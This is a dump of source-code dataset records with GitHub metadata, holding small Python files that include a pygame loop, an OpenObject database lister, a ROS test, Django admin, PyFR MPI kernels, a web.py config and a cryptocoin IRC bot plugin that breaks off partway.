pygame.display.update()\n fps_clock.tick(fps)\n\n #end main game loop\n\n if pygame.mixer:\n pygame.mixer.music.fadeout(1000)\n pygame.time.wait(1000)\n pygame.quit()\n\nif __name__ == \"__main__\":\n main()"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":657,"cells":{"__id__":{"kind":"number","value":16862041623132,"string":"16,862,041,623,132"},"blob_id":{"kind":"string","value":"19d5d955c3efc480965e3f9ae371a7039eb6ffb5"},"directory_id":{"kind":"string","value":"a27595a5bd8bd6639f7503539c509e464f3895bf"},"path":{"kind":"string","value":"/example/database_list_all.py"},"content_id":{"kind":"string","value":"de0ebca3b32233dffc92cf18fc6f43537df55083"},"detected_licenses":{"kind":"list like","value":["GPL-3.0-or-later"],"string":"[\n \"GPL-3.0-or-later\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"acsone/openobject-library"},"repo_url":{"kind":"string","value":"https://github.com/acsone/openobject-library"},"snapshot_id":{"kind":"string","value":"cc01072734b69075db218a699506f5c929eadfc5"},"revision_id":{"kind":"string","value":"ef1e797457e2a3858cc53a14a7b2df8dcb95a08d"},"branch_name":{"kind":"string","value":"refs/heads/3.0"},"visit_date":{"kind":"timestamp","value":"2021-01-15T21:06:56.105005","string":"2021-01-15T21:06:56.105005"},"revision_date":{"kind":"timestamp","value":"2013-03-01T10:01:57","string":"2013-03-01T10:01:57"},"committer_date":{"kind":"timestamp","value":"2013-03-01T10:01:57","string":"2013-03-01T10:01:57"},"github_id":{"kind":"number","value":20993528,"string":"20,993,528"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"bool","value":true,"string":"true"},"gha_event_created_at":{"kind":"timestamp","value":"2014-06-19T08:40:29","string":"2014-06-19T08:40:29"},"gha_created_at":{"kind":"timestamp","value":"2014-06-19T08:37:38","string":"2014-06-19T08:37:38"},"gha_updated_at":{"kind":"timestamp","value":"2014-06-19T08:37:39","string":"2014-06-19T08:37:39"},"gha_pushed_at":{"kind":"timestamp","value":"2014-06-10T12:25:38","string":"2014-06-10T12:25:38"},"gha_size":{"kind":"number","value":464,"string":"464"},"gha_stargazers_count":{"kind":"number","value":0,"string":"0"},"gha_forks_count":{"kind":"number","value":1,"string":"1"},"gha_open_issues_count":{"kind":"number","value":0,"string":"0"},"gha_language":{"kind":"string","value":"Python"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n# --*- coding: utf-8 -*-\n##############################################################################\n#\n# OpenObject Library\n# Copyright (C) 2009 Tiny (). Christophe Simonis \n# All Rights Reserved\n# Copyright (C) 2009 Syleam (). Christophe Chauvet \n# All Rights Reserved\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\n\"\"\"\nConnect to the server and return the list of databases\n\"\"\"\n\nimport sys\nsys.path.append('../')\n\nfrom oobjlib.connection import Database\nfrom oobjlib.common import GetParser\n\nparser = GetParser('Database List', '0.1')\nopts, args = parser.parse_args()\n\ntry:\n db = Database(\n server=opts.server,\n port=opts.port,\n supadminpass=opts.admin)\nexcept Exception, e:\n print '%s' % str(e)\n exit(1)\n\nprint '--[Server Connection]-i---------------------'\nprint '%s' % str(db)\n\nprint '--[Database list]---------------------------'\nfor d in db.list():\n print '* %s' % d\n\nprint '--[End]-------------------------------------'\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":658,"cells":{"__id__":{"kind":"number","value":11416023099735,"string":"11,416,023,099,735"},"blob_id":{"kind":"string","value":"fdd68a864959691e603f93144dd469d6af18f86d"},"directory_id":{"kind":"string","value":"8555152a2d251fd8be70374f3b0a3d409e6218ee"},"path":{"kind":"string","value":"/sliding_ngram/__init__.py"},"content_id":{"kind":"string","value":"3289679a1e0aa7f6fbe808d0c3f5281f72cd9474"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"nlp-hda/nlp2012"},"repo_url":{"kind":"string","value":"https://github.com/nlp-hda/nlp2012"},"snapshot_id":{"kind":"string","value":"cba7ff53ad9ae1403265f0839c948901a094406e"},"revision_id":{"kind":"string","value":"227e9f955525589fd010770a1646009c8e229d70"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-06T18:07:49.347708","string":"2016-09-06T18:07:49.347708"},"revision_date":{"kind":"timestamp","value":"2013-01-23T02:12:34","string":"2013-01-23T02:12:34"},"committer_date":{"kind":"timestamp","value":"2013-01-23T02:12:34","string":"2013-01-23T02:12:34"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#'''\r\n#Created on 09.01.2013\r\n#\r\n#@author: andreas\r\n#'''\r\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":659,"cells":{"__id__":{"kind":"number","value":13675175895576,"string":"13,675,175,895,576"},"blob_id":{"kind":"string","value":"ed020e0cafd3816c4944c10ed9865232dcedbdea"},"directory_id":{"kind":"string","value":"6f7df1f0361204fb0ca039ccbff8f26335a45cd2"},"path":{"kind":"string","value":"/examples/grammar-induction/stats/gen-img-page"},"content_id":{"kind":"string","value":"ec9bddb909898e3ad0f61d71d68a44a3eb13092e"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"LFY/bpm"},"repo_url":{"kind":"string","value":"https://github.com/LFY/bpm"},"snapshot_id":{"kind":"string","value":"f63c050d8a2080793cf270b03e6cf5661bf3599e"},"revision_id":{"kind":"string","value":"a3bce19d6258ad42dce6ffd4746570f0644a51b9"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-18T13:04:03.191094","string":"2021-01-18T13:04:03.191094"},"revision_date":{"kind":"timestamp","value":"2012-09-25T10:31:25","string":"2012-09-25T10:31:25"},"committer_date":{"kind":"timestamp","value":"2012-09-25T10:31:25","string":"2012-09-25T10:31:25"},"github_id":{"kind":"number","value":2099550,"string":"2,099,550"},"star_events_count":{"kind":"number","value":2,"string":"2"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport subprocess as sp\n\ndir = sys.argv[1]\n\ndircat = os.path.join\n\ndef attrs2str(attrs):\n res = \"\"\n for (k, v) in attrs.items():\n res += k + (\"=\\\"%s\\\"\" % v) + \" \"\n return res\n\ndef xml_str(t, s, **attrs):\n return \"<\" + t + \" \" + attrs2str(attrs) + \">\" + s + \"\"\n\ndef table(s):\n return xml_str(\"table\", s)\n\ndef html(s):\n return xml_str(\"html\", s)\n\ndef body(s):\n return xml_str(\"body\", s)\n\ndef print_html_table_row(r):\n res = \"\"\n for item in r:\n res += \"\" + item + \"\"\n res += \"\"\n return res\n\nimg_rows = []\nfor f in os.listdir(dircat(dir, \"enumeration\")):\n if f.endswith(\".png\"):\n img_rows.append([xml_str(\"img\", \"\", src = dircat(dir, \"enumeration\", f)), f])\n\ndest = dircat(dir, \"enumeration.html\")\nfh = open(dest, \"w\")\nprint >>fh, html(body(table(reduce(lambda x, y: x + \"\\n\" + y, map(print_html_table_row, img_rows)))))\nfh.close()\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":660,"cells":{"__id__":{"kind":"number","value":5566277630899,"string":"5,566,277,630,899"},"blob_id":{"kind":"string","value":"7eed8282156e9048e7009852dffe7c6a4014cb11"},"directory_id":{"kind":"string","value":"46e352d8edd017ab96668bacf0ba7cd207ea8ecd"},"path":{"kind":"string","value":"/marker_scan/test/test_scan_for_markers.py"},"content_id":{"kind":"string","value":"fefadc55c897ae55b882c85591dda5441c52ee08"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"raven-debridement/ar_marker_tools"},"repo_url":{"kind":"string","value":"https://github.com/raven-debridement/ar_marker_tools"},"snapshot_id":{"kind":"string","value":"0a9a26f5de401a83c252c970716126eba0a8f268"},"revision_id":{"kind":"string","value":"4931cd77ceee8877b3e29c631388da22a3cf688a"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-18T05:07:46.287924","string":"2020-04-18T05:07:46.287924"},"revision_date":{"kind":"timestamp","value":"2013-07-13T00:20:15","string":"2013-07-13T00:20:15"},"committer_date":{"kind":"timestamp","value":"2013-07-13T00:20:15","string":"2013-07-13T00:20:15"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\nimport roslib; roslib.load_manifest('marker_scan')\nimport rospy\nfrom marker_scan.srv import ScanForMarkers\nfrom std_msgs.msg import Header\nfrom geometry_msgs.msg import Point, Pose, Quaternion\n\nrospy.init_node('marker_scanner_test')\nrospy.loginfo('Waiting for scan_for_markers service...')\nscan_service = rospy.wait_for_service('scan_for_markers')\n\ntry:\n srv = rospy.ServiceProxy('scan_for_markers', ScanForMarkers)\n header = Header()\n #TODO: get new data with fixed frame\n header.frame_id = 'base_link'\n header.stamp = rospy.Time.now()\n detector_service = 'marker_detector'\n ids = [5]\n # don't care about quaternion here\n poses = [Pose(Point(0.641, 0.053, 1.240), Quaternion(0.0, 0.0, 0.0, 1.0))]\n marker_infos = srv(header, detector_service, ids, poses)\n print marker_infos\nexcept rospy.ServiceException, e:\n rospy.logerr('Service call failed: %s' % e)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":661,"cells":{"__id__":{"kind":"number","value":6846177898911,"string":"6,846,177,898,911"},"blob_id":{"kind":"string","value":"11f1e66e9d76be461f3486dba1f79fb4a96df87b"},"directory_id":{"kind":"string","value":"15aef873c309d9c142ffc3006450a8fbda872348"},"path":{"kind":"string","value":"/src/DC/FrmCalculateTime.py"},"content_id":{"kind":"string","value":"5c77744b25f0490d4eb3a78dc0fd955796fd583d"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"JuanDaniel/AccountEnet"},"repo_url":{"kind":"string","value":"https://github.com/JuanDaniel/AccountEnet"},"snapshot_id":{"kind":"string","value":"ee42608a1877bc6d80f028ac619d5dfa212ff6aa"},"revision_id":{"kind":"string","value":"ba8b739035b29e729f96054718813af133125327"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-08-05T09:01:39.083805","string":"2016-08-05T09:01:39.083805"},"revision_date":{"kind":"timestamp","value":"2013-11-12T23:26:10","string":"2013-11-12T23:26:10"},"committer_date":{"kind":"timestamp","value":"2013-11-12T23:26:10","string":"2013-11-12T23:26:10"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*-\n#!/usr/bin/python\n'''\nCreated on 24/10/2013\n\n@author: jdsantana\n'''\n\nfrom PyQt4 import QtGui\nfrom Visual.CalculateTime import Ui_MainWindow\n\nclass FrmCalculateTime(QtGui.QMainWindow, Ui_MainWindow):\n '''\n It is the CalculaTime UI implementation\n '''\n\n def __init__(self, parent = None):\n super(FrmCalculateTime, self).__init__(parent)\n self.setupUi(self)"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":662,"cells":{"__id__":{"kind":"number","value":2946347587170,"string":"2,946,347,587,170"},"blob_id":{"kind":"string","value":"f74b33cf660c1cf6b36578771e41dd093331f7fd"},"directory_id":{"kind":"string","value":"aab2fb9b6a3be09c4b2c3a9d044d1006298ea309"},"path":{"kind":"string","value":"/posts/admin.py"},"content_id":{"kind":"string","value":"812a0e5388bf437d84ca48d682b504a1014b7c6f"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"tryache/simple_bbs"},"repo_url":{"kind":"string","value":"https://github.com/tryache/simple_bbs"},"snapshot_id":{"kind":"string","value":"5dd268967369ffbc68543247f25dd420a9fb1338"},"revision_id":{"kind":"string","value":"e6d3dee77993e6327559d8cdf7c82447be252772"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-15T14:58:34.490348","string":"2021-01-15T14:58:34.490348"},"revision_date":{"kind":"timestamp","value":"2014-04-07T03:41:49","string":"2014-04-07T03:41:49"},"committer_date":{"kind":"timestamp","value":"2014-04-07T03:41:49","string":"2014-04-07T03:41:49"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from django.contrib import admin\nfrom posts.models import Post, Reply\n\n\nclass ReplyInline(admin.StackedInline):\n model = Reply\n extra = 1\n\n\nclass PostAdmin(admin.ModelAdmin):\n inlines = [ReplyInline]\n\n\nadmin.site.register(Post, PostAdmin)"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":663,"cells":{"__id__":{"kind":"number","value":11467562696866,"string":"11,467,562,696,866"},"blob_id":{"kind":"string","value":"c9461be83544bae65059bbe5dcf17d570ec77812"},"directory_id":{"kind":"string","value":"e84f8bcf2ea91ac12f9850a6f487b8b6bff09235"},"path":{"kind":"string","value":"/pyfr/backends/openmp/packing.py"},"content_id":{"kind":"string","value":"c7eae548f0423c5ae1fca2e5afb2416f692030f1"},"detected_licenses":{"kind":"list like","value":["CC-BY-4.0","BSD-3-Clause"],"string":"[\n \"CC-BY-4.0\",\n \"BSD-3-Clause\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"Aerojspark/PyFR"},"repo_url":{"kind":"string","value":"https://github.com/Aerojspark/PyFR"},"snapshot_id":{"kind":"string","value":"2bdbbf8a1a0770dc6cf48100dc5f895eb8ab8110"},"revision_id":{"kind":"string","value":"b59e67f3aa475f7e67953130a45f264f90e2bb92"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-14T08:51:48.893378","string":"2021-01-14T08:51:48.893378"},"revision_date":{"kind":"timestamp","value":"2014-09-01T15:02:28","string":"2014-09-01T15:02:28"},"committer_date":{"kind":"timestamp","value":"2014-09-01T15:02:28","string":"2014-09-01T15:02:28"},"github_id":{"kind":"number","value":24884060,"string":"24,884,060"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*-\n\nfrom pyfr.backends.base import ComputeKernel, MPIKernel, NullComputeKernel\nfrom pyfr.backends.openmp.provider import OpenMPKernelProvider\nfrom pyfr.backends.openmp.types import OpenMPMPIMatrix, OpenMPMPIView\nfrom pyfr.nputil import npdtype_to_ctype\n\n\nclass OpenMPPackingKernels(OpenMPKernelProvider):\n def _sendrecv(self, mv, mpipreqfn, pid, tag):\n # If we are an MPI view then extract the MPI matrix\n mpimat = mv.mpimat if isinstance(mv, OpenMPMPIView) else mv\n\n # Create a persistent MPI request to send/recv the pack\n preq = mpipreqfn(mpimat.data, pid, tag)\n\n class SendRecvPackKernel(MPIKernel):\n def run(self, reqlist):\n # Start the request and append us to the list of requests\n preq.Start()\n reqlist.append(preq)\n\n return SendRecvPackKernel()\n\n def pack(self, mv):\n # An MPI view is simply a regular view plus an MPI matrix\n m, v = mv.mpimat, mv.view\n\n # Render the kernel template\n tpl = self.backend.lookup.get_template('pack')\n src = tpl.render(dtype=npdtype_to_ctype(m.dtype))\n\n # Build\n kern = self._build_kernel('pack_view', src, 'iiiPPPPP')\n\n class PackMPIViewKernel(ComputeKernel):\n def run(self):\n kern(v.n, v.nvrow, v.nvcol, v.basedata, v.mapping,\n v.cstrides or 0, v.rstrides or 0, m)\n\n return PackMPIViewKernel()\n\n def send_pack(self, mv, pid, tag):\n from mpi4py import MPI\n\n return self._sendrecv(mv, MPI.COMM_WORLD.Send_init, pid, tag)\n\n def recv_pack(self, mv, pid, tag):\n from mpi4py import MPI\n\n return self._sendrecv(mv, MPI.COMM_WORLD.Recv_init, pid, tag)\n\n def unpack(self, mv):\n # No-op\n return NullComputeKernel()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":664,"cells":{"__id__":{"kind":"number","value":3212635543221,"string":"3,212,635,543,221"},"blob_id":{"kind":"string","value":"f95b3c0f75845d1b89a0ec048ed22d3f575f5fdd"},"directory_id":{"kind":"string","value":"214d3bf369cc701c508ba6450f78a7b8e58f388e"},"path":{"kind":"string","value":"/dtc/config/ui/url.py"},"content_id":{"kind":"string","value":"62967c8ae80e8c3b09046fa0f99fa93d80848163"},"detected_licenses":{"kind":"list like","value":["GPL-2.0-only"],"string":"[\n \"GPL-2.0-only\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"pombredanne/DtcLookup"},"repo_url":{"kind":"string","value":"https://github.com/pombredanne/DtcLookup"},"snapshot_id":{"kind":"string","value":"b66f3cfe97b1045582bc483455f6013469eac6d3"},"revision_id":{"kind":"string","value":"450f48cf61729ef143ce5483f6f6ff0fe891a74e"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-26T01:59:24.044109","string":"2020-12-26T01:59:24.044109"},"revision_date":{"kind":"timestamp","value":"2013-09-09T16:22:07","string":"2013-09-09T16:22:07"},"committer_date":{"kind":"timestamp","value":"2013-09-09T16:22:07","string":"2013-09-09T16:22:07"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import web\n\nfrom os.path import dirname\n\nimport dtc\n\nfrom dtc import handlers\nfrom dtc.config.ui.general import URL_PREFIX\n\nfrom dtc.handlers.lookup_handler import LookupHandler\n\n# We used several simpler rules, rather than more ambiguous RXs.\nurls = (\n# '^/favicon.ico$', 'static_favicon',\n '^/$', 'index',\n\n '/lookup/([^/]+)(/(.+))?', 'lookup',\n '/(.*)', 'fail',\n)\n\n#class favicon:\n# def GET(self):\n# raise web.seeother('/static/images/favicon.ico')\n\nclass index:\n def __init__(self):\n self.__content = None\n\n def __get_content(self):\n if self.__content is None:\n index_filepath = dirname(dtc.__file__) + \\\n '/resource/templates/index.html'\n \n with file(index_filepath) as f:\n content = f.read()\n \n replacements = { 'UrlPrefix': URL_PREFIX }\n\n web.header('Content-Type', 'text/html')\n self.__content = content % replacements\n\n return self.__content\n\n def GET(self):\n return self.__get_content()\n\nmapping = { #'static_favicon': favicon,\n 'index': index,\n 'fail': handlers.Fail,\n 'lookup': LookupHandler,\n }\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":665,"cells":{"__id__":{"kind":"number","value":19301583057979,"string":"19,301,583,057,979"},"blob_id":{"kind":"string","value":"1fc51524dd9b409aa7868c63a5779e32f422ab40"},"directory_id":{"kind":"string","value":"541a8a24007128e004322e8dd916845d10ee2df3"},"path":{"kind":"string","value":"/plugins/CryptoCoinCharts.py"},"content_id":{"kind":"string","value":"239057daffc978ef60f3b1602b83be70267e8343"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"genericpersona/GGM"},"repo_url":{"kind":"string","value":"https://github.com/genericpersona/GGM"},"snapshot_id":{"kind":"string","value":"78d4ad2c1bbeaccc4d7e24d63506597045365414"},"revision_id":{"kind":"string","value":"c2e21a4b6df841f39d8e44ff6852b40b446c8679"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-21T07:39:34.944642","string":"2020-04-21T07:39:34.944642"},"revision_date":{"kind":"timestamp","value":"2014-07-22T02:34:43","string":"2014-07-22T02:34:43"},"committer_date":{"kind":"timestamp","value":"2014-07-22T02:34:43","string":"2014-07-22T02:34:43"},"github_id":{"kind":"number","value":16679884,"string":"16,679,884"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# Imports \nimport argparse\nfrom csv import DictReader\nimport datetime\nimport itertools\nfrom operator import itemgetter\nfrom string import ascii_uppercase\nimport sys\n\nimport requests\n\nfrom gilbertgrapesmom import build_help_and_info, CMND_PREFIX\nfrom pluginbase import Plugin\nfrom twisted.python import log\n\nclass ArgParserError(Exception): pass\n\nclass ArgParser(argparse.ArgumentParser):\n def error(self, message):\n raise ArgParserError(message)\n\nclass EvenAndMinMaxPairs(argparse.Action):\n min_pairs = 1\n max_pairs = 5\n def __call__(self, parser, args, values, option_string=None):\n def even(num):\n return num % 2 == 0\n\n # Get the number of values and pairs\n num_values = len(values)\n num_pairs = num_values / 2\n\n # Don't do tests if availabe argument selected\n if args.available or args.coins or args.long_name:\n pass\n elif not even(num_values):\n msg = 'Must supply an even number of currencies to get rates ' + \\\n 'of, as the rate is of one currency relative to another'\n parser.error(msg)\n elif num_pairs < self.min_pairs or num_pairs > self.max_pairs:\n msg = 'Can only specify between {} and {} pairs, inclusive, '.\\\n format(self.min_pairs, self.max_pairs)\n msg += 'of currency codes. Use {}help rate for full usage.'.\\\n format(CMND_PREFIX)\n parser.error(msg)\n\n setattr(args, self.dest, values)\n\nclass CryptoCoinCharts(Plugin):\n def __init__(self, args):\n # Save the args\n for arg, val in args.iteritems():\n setattr(self, arg, val)\n\n # Cache the time of the last\n # update so no more than a \n # given number of API calls\n # occur in a particular time\n self.last_update = None\n\n # API URLs\n self.max_pairs = 5 # Max pairs to look up at a time with above API\n self.api_pair = 'http://www.cryptocoincharts.info/v2/api/tradingPair/'\n self.api_pairs = 'http://www.cryptocoincharts.info/v2/api/tradingPairs/'\n self.api_list_coins = 'http://www.cryptocoincharts.info/v2/api/listCoins'\n\n # Build a parser\n self.build_parser()\n\n # Initialize containers for API data\n self.coins = {}\n self.pairs = {}\n self.currencies = set()\n\n # Get fresh data\n self.get_fresh_data()\n\n # Get a list of currencies\n self.get_currencies()\n\n # Commands supported\n self.cmnds = { 'rate': self.parse_rate\n }\n self.cmnds = dict((CMND_PREFIX + k, v) for k, v in self.cmnds.items())\n\n def commands(self):\n '''\n Return a list of the commands\n handled by the plugin.\n '''\n return self.cmnds.keys()\n\n def get_commands(self):\n '''\n Return a dict mapping \n command names to their\n respective callbacks.\n '''\n return self.cmnds\n\n def parse_command(self, msg):\n '''\n Parses the command and returns\n the reply and a boolean indicating\n whether the reply is private or not.\n '''\n # Call the super class\n parse_ret = super(CryptoCoinCharts, self).parse_command(msg)\n if parse_ret:\n return parse_ret\n\n # Look for help or info message\n pre_len = len(CMND_PREFIX)\n if msg.startswith(CMND_PREFIX + 'help'):\n return self.help(' '.join(msg.split()[pre_len:]))\n elif msg.startswith(CMND_PREFIX + 'info'):\n return self.info(' '.join(msg.split()[pre_len:]))\n\n def help(self, cmnd):\n '''\n Return a help message\n about a particular command\n handled by the plugin.\n '''\n # Remove command prefix just in case\n cmnd = cmnd.lstrip(CMND_PREFIX + 'help')\n\n if cmnd.startswith('rate'):\n reply = self.parser.format_usage().rstrip()\n reply = reply.split()\n reply[1] = CMND_PREFIX + 'rate'\n return ' '.join(reply), False\n\n def info(self, cmnd):\n '''\n Return detailed information \n about a command handled by the\n plugin.\n '''\n cmnd = cmnd.lstrip(CMND_PREFIX + 'info')\n\n if cmnd.startswith('rate'):\n reply = '''\n The {cp}rate command gets its information from\n cryptocoincharts.info. Fresh data will be obtained\n every minute, so if more temporal granularity is\n desired it must be found elsewhere.\n\n Cryptocoin charts' API 